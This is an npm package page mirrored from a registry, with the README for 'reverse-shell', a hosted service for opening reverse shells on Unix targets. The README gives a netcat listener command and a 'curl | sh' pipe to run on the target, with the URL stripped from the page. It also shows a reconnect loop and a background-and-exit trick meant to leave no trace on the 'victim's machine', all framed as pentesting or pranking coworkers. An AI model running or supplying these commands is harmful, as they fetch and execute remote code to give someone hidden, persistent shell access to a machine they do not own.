Reverse Shell as a Service -
Last updated a month ago by lukechilds .
MIT · Repository · Bugs · Original npm · Tarball · package.json
$ cnpm install reverse-shell 
SYNC missed versions from official npm registry.


Reverse Shell as a Service -

Build Status Coverage Status npm

Easy to remember reverse shell that should work on most Unix-like systems.

Detects available software on the target and runs an appropriate payload.


1. Listen for connection

On your machine, open up a port and listen on it. You can do this easily with netcat.

nc -l 1337

2. Execute reverse shell on target

On the target machine, pipe the output of into sh.

curl | sh

Go back to your machine, you should now have a shell prompt.

3. Don't be a dick

This is meant to be used for pentesting or helping coworkers understand why they should always lock their computers. Please don't use this for anything malicious.




You can use a hostname instead of an IP.

curl | sh

Remote connections

Because this is a reverse connection it can punch through firewalls and connect to the internet.

You could listen for connections on a server at and get a reverse shell from inside a secure network with.

curl | sh


By default when the shell exits you lose your connection. You may do this by accident with an invalid command. You can easily create a shell that will attempt to reconnect by wrapping it in a while loop.

while true; do curl | sh; done

Be careful if you do this to a coworker, if they leave the office with this still running you're opening them up to attack.

Running as a background process

The terminal session needs to be kept open to persist the reverse shell connection. That might be a bit of a giveaway if you're trying to prank coworkers.

The following command will run the reverse shell in a background process and exit the terminal, leaving no suspicious looking terminal windows open on the victim's machine.

Make sure you run this in a fresh terminal window otherwise you'll lose any work in your existing session.

sh -c "curl | sh -i &" && exit


MIT © Luke Childs

Current Tags

  • 1.1.3                                ...           latest (a month ago)

15 Versions

  • 1.1.3                                ...           a month ago
  • 1.1.2                                ...           3 years ago
  • 1.1.1                                ...           3 years ago
  • 1.1.0                                ...           3 years ago
  • 1.0.3                                ...           3 years ago
  • 1.0.2                                ...           3 years ago
  • 1.0.1                                ...           3 years ago
  • 1.0.0                                ...           3 years ago
  • 0.1.0                                ...           3 years ago
  • 0.0.5                                ...           3 years ago
  • 0.0.4                                ...           3 years ago
  • 0.0.3                                ...           3 years ago
  • 0.0.2                                ...           3 years ago
  • 0.0.1                                ...           3 years ago
  • 0.0.0                                ...           3 years ago
Maintainers (1)
Today 0
This Week 0
This Month 0
Last Day 0
Last Week 0
Last Month 27
Dependencies (1)
Dev Dependencies (6)

Copyright 2014 - 2016 © |